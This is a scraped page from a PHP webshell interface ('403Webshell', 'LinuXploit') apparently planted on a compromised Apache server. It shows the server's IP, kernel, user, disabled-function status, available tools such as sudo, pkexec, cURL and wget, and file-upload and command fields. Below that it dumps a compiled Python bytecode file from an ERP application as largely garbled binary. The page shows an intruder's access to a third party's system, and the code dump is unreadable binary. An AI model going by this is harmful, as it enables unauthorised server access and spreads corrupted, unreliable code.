403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/horilla_api/api_views/base/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/horilla_api/api_views/base/__pycache__/views.cpython-310.pyc
o

hͦhf��@s�ddlmZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZmZmZmZdd	lmZmZmZmZmZmZmZmZmZmZmZmZm Z dd
l!m"Z"m#Z#m$Z$m%Z%ddl&m'Z'm(Z(ddl)m*Z*d
dl+m,Z,m-Z-m.Z.m/Z/d
dl0m1Z1m2Z2d
dl3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@dd�ZAdd�ZBdd�ZCdd�ZDGdd�de
�ZEGdd�de
�ZFGdd�de
�ZGGdd �d e
�ZHGd!d"�d"e
�ZIGd#d$�d$e
�ZJGd%d&�d&e
�ZKGd'd(�d(e
�ZLGd)d*�d*e
�ZMGd+d,�d,e
�ZNGd-d.�d.e
�ZOGd/d0�d0e
�ZPGd1d2�d2e
�ZQGd3d4�d4e
�ZRGd5d6�d6e
�ZSGd7d8�d8e
�ZTGd9d:�d:e
�ZUGd;d<�d<e
�ZVGd=d>�d>e
�ZWGd?d@�d@e
�ZXGdAdB�dBe
�ZYGdCdD�dDe
�ZZGdEdF�dFe
�Z[GdGdH�dHe
�Z\GdIdJ�dJe
�Z]GdKdL�dLe
�Z^GdMdN�dNe
�Z_GdOdP�dPe
�Z`GdQdR�dRe
�ZaGdSdT�dTe
�ZbGdUdV�dVe
�ZcGdWdX�dXe
�ZdGdYdZ�dZe
�ZeGd[d\�d\e
�ZfGd]d^�d^e
�ZgGd_d`�d`e
�ZhdaS)b�)�HttpResponse)�method_decorator)�DjangoFilterBackend)�PageNumberPagination)�IsAuthenticated)�Response)�APIView)�RotatingShiftAssignFilters�RotatingWorkTypeAssignFilter�ShiftRequestFilter�WorkTypeRequestFilter)
�Company�
Department�
EmployeeShift�EmployeeShiftSchedule�JobPosition�JobRole�
RotatingShift�RotatingShiftAssign�RotatingWorkType�RotatingWorkTypeAssign�ShiftRequest�WorkType�WorkTypeRequest)�is_reportingmanger� rotating_work_type_assign_export�shift_request_export�work_type_request_export)�
Actiontype�Employee)�notify�)�check_approval_status�$manager_or_owner_permission_required�manager_permission_required�permission_required)�groupby_queryset�permission_based_queryset)
�CompanySerializer�DepartmentSerializer�EmployeeShiftScheduleSerializer�EmployeeShiftSerializer�JobPositionSerializer�JobRoleSerializer�RotatingShiftAssignSerializer�RotatingShiftSerializer� RotatingWorkTypeAssignSerializer�RotatingWorkTypeSerializer�ShiftRequestSerializer�WorkTypeRequestSerializer�WorkTypeSerializercCs,z
|jj|d�}|WS|jyYdSw)N��id)�objects�get�DoesNotExist)�cls�pk�obj�r=�0/var/www/erp/horilla_api/api_views/base/views.py�object_check?s�r?c
CsNz|jj|d���WdSty&}zdt|�idfWYd}~Sd}~ww)Nr5)����error�)r7r8�delete�	Exception�str)r:r;�er=r=r>�
object_deleteGs��rHcCsV|j�d�}tjj|d���}|jj|krdS|jj	|jjkr!dS|j�
d�r)dSdS)N�employee_idr5T� base.view_rotatingworktypeassignF)�GETr8rr7�filter�first�user�employee_get�employee_work_info�reporting_manager_id�has_perm)�requestrI�employeer=r=r>�individual_permssion_checkOsrUcCs6|jj}z	|jj}W||kStytd�YSw)z�
    If the instance have employee id field then you can use this method to know the request
    user employee is the reporting manager of the instance
    z,This Employee Dont Have any work information)rNrOrPrQrEr)rS�instance�manager�employee_work_info_managerr=r=r>�_is_reportingmanger[s
��rYc@sheZdZeZegZeed��ddd��Z	eed��dd��Z
eed��d	d
��Zeed��dd
��ZdS)�JobPositionViewzbase.view_jobpositionNcC�t|rtt|�}|durtddidd�S|�|�}t|jdd�Stj��}t�}|�||�}|j|dd�}|�	|j�S)NrB�Job position not found ���statusrAT��many)
r?rr�serializer_class�datar7�allr�paginate_queryset�get_paginated_response)�selfrSr;�job_position�
serializer�
job_positions�	paginater�pager=r=r>r8l�


zJobPositionView.getzbase.change_jobpositioncC�^tt|�}|durtddidd�S|j||jd�}|��r(|��t|jdd�St|jdd�S)NrBr\r]r^�rcrArC)r?rrrbrc�is_valid�save�errors)rgrSr;rhrir=r=r>�put{�
zJobPositionView.putzbase.add_jobpositioncC�:|j|jd�}|��r|��t|jdd�St|jdd�S�Nro��r^rC�rbrcrprqrrr�rgrSrir=r=r>�post��
zJobPositionView.postzbase.delete_jobpositioncC�<tt|�}|durtddidd�Stt|�\}}t||d�S)NrBr\r]r^)r?rrrH)rgrSr;rh�response�status_coder=r=r>rD��

zJobPositionView.delete�N)
�__name__�
__module__�__qualname__r,rbr�permission_classesrr%r8rsrzrDr=r=r=r>rZhs






rZc@�xeZdZeZegZeed�dd�ddd��Z	eed�dd�dd	��Z
eed
�dd�dd��Zeed
�dd�dd��ZdS)�DepartmentViewzbase.view_department�dispatch��nameNcCr[)NrB�Department not found r]r^rATr`)
r?rrrbrcr7rdrrerf)rgrSr;�
departmentri�departments�	paginatorrlr=r=r>r8�rmzDepartmentView.getzbase.change_departmentcCrn)NrBr�r]r^rorArC)r?rrrbrcrprqrr)rgrSr;r�rir=r=r>rs�rtzDepartmentView.putzbase.add_departmentcCrurvrxryr=r=r>rz�r{zDepartmentView.postzbase.delete_departmentcCr|)NrBr�r]r^)r?rrrH)rgrSr;r�r}r~r=r=r>rD�rzDepartmentView.deleter�)
r�r�r�r)rbrr�rr%r8rsrzrDr=r=r=r>r���


r�c@r�)�JobRoleViewzbase.view_jobroler�r�NcCr[)NrB�Job role not found r]r^rATr`)
r?rrrbrcr7rdrrerf)rgrSr;�job_roleri�	job_rolesr�rlr=r=r>r8�rmzJobRoleView.getzbase.change_jobrolecCrn)NrBr�r]r^rorArC)r?rrrbrcrprqrr)rgrSr;r�rir=r=r>rs�rtzJobRoleView.putzbase.add_jobrolecCrurvrxryr=r=r>rz�r{zJobRoleView.postzbase.delete_jobrolecCr|)NrBr�r]r^)r?rrrH)rgrSr;r�r}r~r=r=r>rD�rzJobRoleView.deleter�)
r�r�r�r-rbrr�rr%r8rsrzrDr=r=r=r>r��r�r�c@r�)�CompanyViewzbase.view_companyr�r�NcCr[)NrB�Company not found r]r^rATr`)
r?r
rrbrcr7rdrrerf)rgrSr;�companyri�	companiesr�rlr=r=r>r8�rmzCompanyView.getzbase.change_companycCrn)NrBr�r]r^rorArC)r?r
rrbrcrprqrr)rgrSr;r�rir=r=r>rsrtzCompanyView.putzbase.add_companycCrurvrxryr=r=r>rzr{zCompanyView.postzbase.delete_companycCr|)NrBr�rCr^)r?r
rrH)rgrSr;r�r}r~r=r=r>rDrzCompanyView.deleter�)
r�r�r�r(rbrr�rr%r8rsrzrDr=r=r=r>r��r�r�c@�heZdZeZegZddd�Zee	d�dd�dd��Z
ee	d	�dd�d
d��Zee	d�dd�d
d��ZdS)�WorkTypeViewNcCs`|rtt|�}|durtddidd�S|�|�}t|jdd�Stj��}|j|dd�}t|j�S)NrB�WorkType not foundr]r^rATr`)r?rrrbrcr7rd)rgrSr;�	work_typeri�
work_typesr=r=r>r8(s



zWorkTypeView.getzbase.add_worktyper�r�cCru)NrorAr^rCrxryr=r=r>rz4r{zWorkTypeView.postzbase.change_worktypecCrn)NrBr�r]r^rorArC)r?rrrbrcrprqrr)rgrSr;r�rir=r=r>rs<rtzWorkTypeView.putzbase.delete_worktypecCr|)NrBr�r]r^)r?rrrH)rgrSr;r�r}r~r=r=r>rDGrzWorkTypeView.deleter�)
r�r�r�r4rbrr�r8rr%rzrsrDr=r=r=r>r�$�



r�c@sleZdZeZeZegZdd�Z	ddd�Z
dd�Zee
d�ee
d�d	d
���Zee
d�ee
d�dd
���ZdS)�WorkTypeRequestViewcC�(tj��}|j}d}t|||dd�}|S)N�base.view_worktyperequestT��user_obj)rr7rdrNr'�rgrS�querysetrN�permr=r=r>�get_querysetU�

z WorkTypeRequestView.get_querysetNcC�|rtt|�}|durtddidd�S|�|�}t|jdd�S|�|�}|j|j|d�j}|j�	dd�}|rA|�
�}t||||�St�}	|	�
||�}
|j|
dd	�}|	�|j�S)
NrB�WorkTypeRequest not foundr]r^rA�r��
groupby_fieldTr`)r?rrrbrcr��filterset_classrK�qsr8�build_absolute_urir&rrerf)rgrSr;�work_type_requestri�work_type_requests�!work_type_request_filter_queryset�
field_name�urlrkrlr=r=r>r8]s,


���zWorkTypeRequestView.getcCs�|j|jd�}|��ra|��}z8tj|j|jjjj	d|j��d|j��d|j��d|j��d|j��dd|j
��d	|j
��d
�
t|jdd�WSty`}z
t|j
d
d�WYd}~Sd}~wwt|j
d
d�S)NrozOYou have new work type request to                                 validate for u]لديك طلب نوع وظيفة جديد للتحقق من                                 u[Sie haben eine neue Arbeitstypanfrage zur                                 Validierung für z_Tiene una nueva solicitud de tipo de trabajo para                                 validar para uaVous avez une nouvelle demande de type de travail                                à valider pour �information�$/employee/work-type-request-view?id=z/api/base/worktype-requests/�	�	recipient�verb�verb_ar�verb_de�verb_es�verb_fr�icon�redirect�api_redirectrwr^rC)rbrcrprqr �sendrIrPrQ�employee_user_idr6rrErr)rgrSrirV�Er=r=r>rzxs@
�����

���zWorkTypeRequestView.postzbase.change_worktyperequestcCrn)NrBr�r]r^rorArC)r?rrrbrcrprqrr)rgrSr;r�rir=r=r>rs�s
zWorkTypeRequestView.putzbase.delete_worktyperequestcCr|)NrBr�r]r^)r?rrrH)rgrSr;r�r}r~r=r=r>rD�s

zWorkTypeRequestView.deleter�)r�r�r�r3rbrr�rr�r�r8rzr"rr#rsrDr=r=r=r>r�Ps"
�
�r�c@�eZdZdd�ZdS)�WorkTypeRequestCancelViewcCs�t�|�}t||�s|j�d�s|j|jjkrP|jdkrPd|_d|_|j	|jj
_|jj
��|��zt
j|jj|jjdddddd	|j��d
dd�
WnYtd
d�S)Nzbase.cancel_worktyperequestFTz)Your work type request has been rejected.u*تم إلغاء طلب نوع وظيفتكz&Ihre Arbeitstypanfrage wurde storniertz1Su solicitud de tipo de trabajo ha sido canceladau1Votre demande de type de travail a été annuléer��close�%/api/base/worktype-requests/<int:pk>/�	r�r�r�r�r�r�r�r�r�rAr^)r�findrrNrRrIrO�approved�canceled�previous_work_type_idrP�work_type_idrqr r�r�r6r)rgrSr;r�r=r=r>rs�s:
�
�
�

�
zWorkTypeRequestCancelView.putN)r�r�r�rsr=r=r=r>r��sr�c@�eZdZegZdd�ZdS)�WorkRequestApproveViewcCs�t�|�}t||�s|j�d�s|j�d�re|jse	|��scd|_d|_|��zt	j
|jj|jj
ddddd	d
|j��ddd
�
tddi�WStyb}ztdt|�idd�WYd}~Sd}~wwdStddidd�S)N�approve_worktyperequest�change_worktyperequestTFz)Your work type request has been approved.u:تمت الموافقة على طلب نوع وظيفتك.z'Ihre Arbeitstypanfrage wurde genehmigt.z1Su solicitud de tipo de trabajo ha sido aprobada.u4Votre demande de type de travail a été approuvée.r��	checkmarkr�r�r_r�rBrCr^zYou don't have permission)rr�rrNrRr��is_any_work_type_request_existsr�rqr r�rOrIr�r6rrErF)rgrSr;r�rGr=r=r>rs�sD
�
�
��
� ���zWorkRequestApproveView.putN�r�r�r�rr�rsr=r=r=r>r���r�c@s"eZdZegZed�dd��ZdS)�WorkTypeRequestExportr�cC�t|�Sr�)r�rgrSr=r=r>r8�szWorkTypeRequestExport.getN)r�r�r�rr�r$r8r=r=r=r>r��sr�c@� eZdZeZegZddd�ZdS)�IndividualRotatingWorktypesViewNc	C�t|�dkrtddidd�S|r-tt|�}|dur!tddidd�S|�|�}t|jdd�S|j�d	d�}tjj	|d
�}t
�}|�||�}|j|dd�}|�|j�S)
NFrB�you have no permssion to viewrCr^� RotatingWorkTypeAssign not foundr]rArI�rITr`)
rUrr?rrbrcrKr8r7rLrrerf)	rgrSr;�rotating_work_type_assignrirI�rotating_work_type_assigns�
pagenationrlr=r=r>r8s$
�
�z#IndividualRotatingWorktypesView.getr�)r�r�r�r0rbrr�r8r=r=r=r>r��r�c@sfeZdZeZeZegZddd�Z	e
d�ddd��Ze
d�dd	��Ze
d
�dd��Z
e
d
�dd��ZdS)�RotatingWorkTypeAssignViewNcCs@|r|jj}|j��}||jks||ks|j�d�rdSdSdS)NrJTF)rNrOrI�get_reporting_managerrR)rgrSr<r;rTrWr=r=r>�_permission_checks


��z,RotatingWorkTypeAssignView._permission_checkrJcC�|rtt|�}|durtddidd�S|�|�}t|jdd�Stj��}|j|j|d�j	}|j�
dd�}|rA|��}t||||�St
�}	|	�||�}
|j|
dd	�}|	�|j�S)
NrBr�r]r^rAr�r�Tr`)r?rrrbrcr7rdr�rKr�r8r�r&rrerf)rgrSr;r�rir��*rotating_work_type_assigns_filter_querysetr�r�r�rlr=r=r>r8*s4
�

����zRotatingWorkTypeAssignView.get�base.add_rotatingworktypeassigncCsx|j|jd�}|��r5|��}zdd�|D�}tj|jj|dddddd	d
dd�
WnYt|jd
d�St|j	dd�S)NrocSsg|]}|j�qSr=)r�)�.0rTr=r=r>�
<listcomp>Osz3RotatingWorkTypeAssignView.post.<locals>.<listcomp>z#You are added to rotating work typeu=تمت إضافتك إلى نوع العمل المتناوبu2Sie werden zum rotierenden Arbeitstyp hinzugefügtz(Se le agrega al tipo de trabajo rotativou-Vous êtes ajouté au type de travail rotatif�infinitez/employee/employee-profile/r@r�rwr^rC)
rbrcrprqr r�rNrOrrr)rgrSrir<�usersr=r=r>rzIs*
�zRotatingWorkTypeAssignView.postz"base.change_rotatingworktypeassigncCrn)NrBr�r]r^rorArC)r?rrrbrcrprqrr)rgrSr;r�rir=r=r>rsartzRotatingWorkTypeAssignView.putz"base.delete_rotatingworktypeassigncCr|)NrBr�r]r^)r?rrrH)rgrSr;r�r}r~r=r=r>rDlrz!RotatingWorkTypeAssignView.delete)NNr�)r�r�r�r0rbr
r�rr�r�r$r8rzrsrDr=r=r=r>r�s



r�c@r�)�IndividualWorkTypeRequestViewNcCs�t|�dkrtddidd�S|r-tt|�}|dur!tddidd�S|�|�}t|jdd�S|j�d	d�}tjj	|d
�}t
�}|�||�}|j|dd�}|�|j�S)
NFrBr�rCr^r�r]rArIr�Tr`)
rUrr?rrbrcrKr8r7rLrrerf)rgrSr;r�rirIrkrlr=r=r>r8ys

z!IndividualWorkTypeRequestView.getr�)r�r�r�r3rbrr�r8r=r=r=r>r�ur�r�c@r�)�EmployeeShiftViewNcC�d|rtt|�}|durtddidd�S|�|�}t|jdd�Stj��}|j|dd�}t|jdd�S)NrB�EmployeeShift not foundr]r^rATr`)r?rrrbrcr7rd)rgrSr;�employee_shiftri�employee_shiftsr=r=r>r8�s


zEmployeeShiftView.getzbase.add_employeeshiftr�r�cCrurvrxryr=r=r>rz�r{zEmployeeShiftView.postzbase.change_employeeshiftcCrn)NrBr�r]r^rorArC)r?rrrbrcrprqrr)rgrSr;r�rir=r=r>rs�rtzEmployeeShiftView.putzbase.delete_employeeshiftcCr|)NrBr�r]r^)r?rrrH)rgrSr;r�r}r~r=r=r>rD�rzEmployeeShiftView.deleter�)
r�r�r�r+rbrr�r8rr%rzrsrDr=r=r=r>r��r�r�c@r�)�EmployeeShiftScheduleViewzbase.view_employeeshiftscheduler�r�NcCr�)NrB�EmployeeShiftSchedule not foundr]r^rATr`)r?rrrbrcr7rd)rgrSr;�employee_shift_scheduleri�employee_shift_schedulesr=r=r>r8�s
�

zEmployeeShiftScheduleView.getzbase.add_employeeshiftschedulecCrurvrxryr=r=r>rz�s
zEmployeeShiftScheduleView.postz!base.change_employeeshiftschedulecCrn)NrBr�r]r^rorArC)r?rrrbrcrprqrr)rgrSr;r�rir=r=r>rs��
zEmployeeShiftScheduleView.putz!base.delete_employeeshiftschedulecCr|)NrBr�r]r^)r?rrrH)rgrSr;r�r}r~r=r=r>rD��

z EmployeeShiftScheduleView.deleter�)
r�r�r�r*rbrr�rr%r8rzrsrDr=r=r=r>r��s&��
�

�r�c@r�)�RotatingShiftViewzbase.view_rotatingshiftr�r�NcCs�|rtt|�}|durtddidd�S|�|�}t|jdd�S|j�d�}|r/tjj|gd�}tj�	�}|j|dd	�}t|jdd�S)
NrB�RotatingShift not foundr]r^rArI)�employee_id__inTr`)
r?rrrbrcrKr8r7rLrd)rgrSr;�rotating_shiftrirI�rotating_shiftsr=r=r>r8�s 

��
zRotatingShiftView.getzbase.add_rotatingshiftcCrurvrxryr=r=r>rz	r{zRotatingShiftView.postzbase.change_rotatingshiftcCrn)NrBr�r]r^rorArC)r?rrrbrcrprqrr)rgrSr;r�rir=r=r>rsrtzRotatingShiftView.putzbase.delete_rotatingshiftcCr|)NrBr�r]r^)r?rrrH)rgrSr;r�r}r~r=r=r>rDrzRotatingShiftView.deleter�)
r�r�r�r/rbrr�rr%r8rzrsrDr=r=r=r>r��s


r�c@r�)�IndividualRotatingShiftViewNc	Cr�)
NFrBr�rCr^�RotatingShiftAssign not foundr]rArIr�Tr`)
rUrr?rrbrcrKr8r7rLrrerf)	rgrSr;�rotating_shift_assignrirI�rotating_shift_assignsr�rlr=r=r>r8)s 

�zIndividualRotatingShiftView.getr�)r�r�r�r.rbrr�r8r=r=r=r>r�%r�r�c@s\eZdZeZeZegZe	d�ddd��Z
e	d�dd��Ze	d�d	d
��Ze	d�dd
��Z
dS)�RotatingShiftAssignViewzbase.view_rotatingshiftassignNcCr�)
NrBr�r]r^rAr�r�Tr`)r?rrrbrcr7rdr�rKr�r8r�r&rrerf)rgrSr;r�rir��&rotating_shift_assigns_filter_querysetr�r�r�rlr=r=r>r8Cs0


����zRotatingShiftAssignView.get�base.add_rotatingshiftassigncCrurvrxryr=r=r>rz_r{zRotatingShiftAssignView.postzbase.change_rotatingshiftassigncCrn)NrBr�r]r^rorArC)r?rrrbrcrprqrr)rgrSr;r�rir=r=r>rsgrtzRotatingShiftAssignView.putzbase.delete_rotatingshiftassigncCr|)NrBr�r]r^)r?rrrH)rgrSr;r�r}r~r=r=r>rDrrzRotatingShiftAssignView.deleter�)r�r�r�r.rbr	r�rr�r$r8rzrsrDr=r=r=r>r>s


rc@r�)�IndividualShiftRequestViewNc	Cr�)
NFrBr�rCr^r�r]rArIr�Tr`)
rUrr?rrbrcrKr8r7rLrrerf)	rgrSr;�
shift_requestrirI�shift_requestsrkrlr=r=r>r8s

zIndividualShiftRequestView.getr�)r�r�r�r2rbrr�r8r=r=r=r>r{r�rc@sreZdZeZegZeZe	gZ
dd�Zddd�Zdd�Z
eed�eed�d	d
���Zeed�eed�dd
���ZdS)�ShiftRequestViewcCr�)Nzbase.view_shiftrequestTr�)rr7rdrNr'r�r=r=r>r��r�zShiftRequestView.get_querysetNcCr�)
NrB�ShiftRequest not foundr]r^rAr�r�Tr`)r?rrrbrcr�r�rKr�r8r�r&rrerf)rgrSr;rrir�shift_requests_filter_querysetr�r�r�rlr=r=r>r8�s,


���zShiftRequestView.getcCrurvrxryr=r=r>rz�s
zShiftRequestView.postzbase.change_shiftrequestcCrn)NrBrr]r^rorArC)r?rrrbrcrprqrr)rgrSr;rrir=r=r>rs�s
zShiftRequestView.putzbase.delete_shiftrequestcCr|)NrBrr]r^)r?rrrH)rgrSr;rr}r~r=r=r>rD�s

zShiftRequestView.deleter�)r�r�r�r2rbr�filter_backendsrr�rr�r�r8rzr"rr#rsrDr=r=r=r>r�s

rc@steZdZeZegZeed��ddd��Z	eed�dd�dd	��Z
eed
�dd�dd��Zeed
�dd�dd��ZdS)�RotatingWorkTypeViewzbase.view_rotatingworktypeNcCr�)NrB�RotatingWorkType not foundr]r^rATr`)r?rrrbrcr7rd)rgrSr;�rotating_work_typeri�rotating_work_typesr=r=r>r8�s


zRotatingWorkTypeView.getzbase.add_rotatingworktyper�r�cCrurvrxryr=r=r>rz�r{zRotatingWorkTypeView.postzbase.change_rotatingworktypecCrn)NrBrr]r^rorArC)r?rrrbrcrprqrr)rgrSr;rrir=r=r>rs�r�zRotatingWorkTypeView.putzbase.delete_rotatingworktypecCr|)NrBrr]r^)r?rrrH)rgrSr;rr}r~r=r=r>rD�r�zRotatingWorkTypeView.deleter�)
r�r�r�r1rbrr�rr%r8rzrsrDr=r=r=r>r
�s

�

�r
c@r�)�ShiftRequestApproveViewcCs�tjj|d�}t||�s|j�d�s|j�d�r:|js:	|��s2d|_d|_|�	�t
ddidd	�St
d
didd	�St
d
d
idd	�S)Nr5�approve_shiftrequest�change_shiftrequestTFr_�successrAr^rBz"Already request exits on same daterCzNo permission )rr7r8rrNrRr��is_any_request_existsr�rqr�rgrSr;rr=r=r>rs
s&�
�
���zShiftRequestApproveView.putNr�r=r=r=r>rr�rc@r�)�ShiftRequestBulkApproveViewcCs�|jd}t|�}d}|D]8}tjj|d�}t||�s*|j�d�s*|j�d�rE|jsE	d|_d|_	|j
j}|j|_|�
�|�
�|d7}q
||krRtd	d
idd�Std	d
idd�S)N�idsrr5rrTF�r_rrAr^�failedrC)rc�lenrr7r8rrNrRr�r�rIrP�shift_idrqr)rgrSr�length�countr6rrPr=r=r>rz%s2
�
�
���z ShiftRequestBulkApproveView.postN�r�r�r�rr�rzr=r=r=r>r"r�rc@r�)�ShiftRequestCancelViewcCs�tjj|d�}t||�s|j�d�s|j|jjkr<|jdkr<d|_	d|_|j
|jj_|jj�
�|�
�tddidd�Stdd	id
d�S)Nr5�base.cancel_shiftrequestFTr_rrAr^rrC)rr7r8rrNrRrIrOr�r��previous_shift_idrPrrqrrr=r=r>rzCs�
�
�zShiftRequestCancelView.postNrr=r=r=r>r@r�rc@r�)�ShiftRequestBulkCancelViewcCs�|j�dd�}t|�}d}|D]:}tjj|d�}t||�s/|j�d�s/|j|jj	krI|j
dkrId|_d|_
|j|jj
_|jj
��|��|d7}q||krVtdd	id
d�Stddid
d�S)Nrrr5rFTrr_rrAr^rrC)rcr8rrr7rrNrRrIrOr�r�rrPrrqr)rgrSrrrr6rr=r=r>rzZs,�
�
��zShiftRequestBulkCancelView.postNrr=r=r=r>r Wr�r c@seZdZegZddd�ZdS)�ShiftRequestDeleteViewNc
Cs�|dur<z|jd}tjj|d�}|��Wnty3}ztdt|�d�dd�WYd}~Sd}~wwtddid	d�Sztjj|d
�}|j	sH�|��Wntj
y`tddd�dd�YSwtddid	d�S)
Nr��id__inr)r_rBrCr^r_rrAr5zShift request does not exists�deleted)rcrr7rLrDrErrFr8r�r9)rgrSr;rrrGrr=r=r>rDvs,
"��
��zShiftRequestDeleteView.deleter��r�r�r�rr�rDr=r=r=r>r!ssr!c@r�)�ShiftRequestExportViewcCr�r�)rr�r=r=r>r8��zShiftRequestExportView.getN�r�r�r�rr�r8r=r=r=r>r&�r�r&c@r�)�ShiftRequestAllocationViewcCsJtjj|d�}|��sd|_d|_|��tddidd�Stddid	d�S)
Nr5TFr_rrAr^rrC)rr7r8r�reallocate_approved�reallocate_canceledrqr)rgrSr6rr=r=r>rz�szShiftRequestAllocationView.postNrr=r=r=r>r)�r�r)c@r�)�RotatingShiftAssignExportcCr�r�)rr�r=r=r>r8�r'zRotatingShiftAssignExport.getNr(r=r=r=r>r,�r�r,c@r�)�RotatingShiftAssignBulkArchivec
Cst|j�dd�}ztjj|d�}|j|d�tddidd�WSty9}ztdt|�id	d�WYd}~Sd}~ww)
Nrr")�	is_activer_rrAr^rBrC)	rcr8rr7rL�updaterrErF)rgrSr_r�rotating_shift_asssignr�r=r=r>rs�s ��z"RotatingShiftAssignBulkArchive.putNr�r=r=r=r>r-�r�r-c@r�)�RotatingShiftAssignBulkDeletec
Csp|j�dd�}ztjj|d�}|��tddidd�WSty7}ztdt|�idd�WYd}~Sd}~ww)	Nrr"r_rrAr^rBrC)	rcr8rr7rLrDrrErF)rgrSrr0r�r=r=r>rD�s ��z$RotatingShiftAssignBulkDelete.deleteNr%r=r=r=r>r1�r�r1c@r�)�RotatingWorKTypePermissionCheckcC�Btjj|d�����}|j�d�s|jj|krtdd�Stdd�S)Nr5r�rAr^rC�	rr7rLrMr�rNrRrOr�rgrSr6rWr=r=r>r8��
�

z#RotatingWorKTypePermissionCheck.getNr(r=r=r=r>r2�r�r2c@r�)�RotatingShiftPermissionCheckcCr3)Nr5rrAr^rCr4r5r=r=r>r8�r6z RotatingShiftPermissionCheck.getNr(r=r=r=r>r7�r�r7c@r�)�%WorktypeRequestApprovePermissionCheckcC�Ptjj|j�d�d���}t||�s|j�d�s|j�d�r#t	dd�St	dd�S�NrIr5rrrAr^rC�
rr7rLrKr8rMrYrNrRr�rgrSrVr=r=r>r8���
�
�

z)WorktypeRequestApprovePermissionCheck.getNr(r=r=r=r>r8�r�r8c@r�)�"ShiftRequestApprovePermissionCheckcCr9r:r;r<r=r=r>r8�r=z&ShiftRequestApprovePermissionCheck.getNr(r=r=r=r>r>�r�r>c@r�)�EmployeeTabPermissionCheckcCsNtjj|j�d�d���}t||�s|j�gd��rt	dd�St	ddidd�S)	NrIr5)zview.view_worktyperequestzattendance.view_shiftrequestzemployee.change_employeerAr^�message�
No permissionrC)
rr7rLrKr8rMrYrN�	has_permsrr<r=r=r>r8�s�
zEmployeeTabPermissionCheck.getNr(r=r=r=r>r?�r�r?c@r�)�CheckUserLevelcCs2|j�d�}|j�|�rtdd�Stddidd�S)Nr�rAr^rBrArC)rKr8rNrRr)rgrSr�r=r=r>r8s
zCheckUserLevel.getN)r�r�r�r8r=r=r=r>rC
srCN)i�django.httpr�django.utils.decoratorsr�django_filters.rest_frameworkr�rest_framework.paginationr�rest_framework.permissionsr�rest_framework.responser�rest_framework.viewsr�base.filtersr	r
rr�base.modelsr
rrrrrrrrrrrr�
base.viewsrrrr�employee.modelsrr�notifications.signalsr �api_decorators.base.decoratorsr"r#r$r%�api_methods.base.methodsr&r'� api_serializers.base.serializersr(r)r*r+r,r-r.r/r0r1r2r3r4r?rHrUrYrZr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrr
rrrr r!r&r)r,r-r1r2r7r8r>r?rCr=r=r=r>�<module>sn<<
////,_#&\,76=E1






Youez - 2016 - github.com/yon3zu
LinuXploit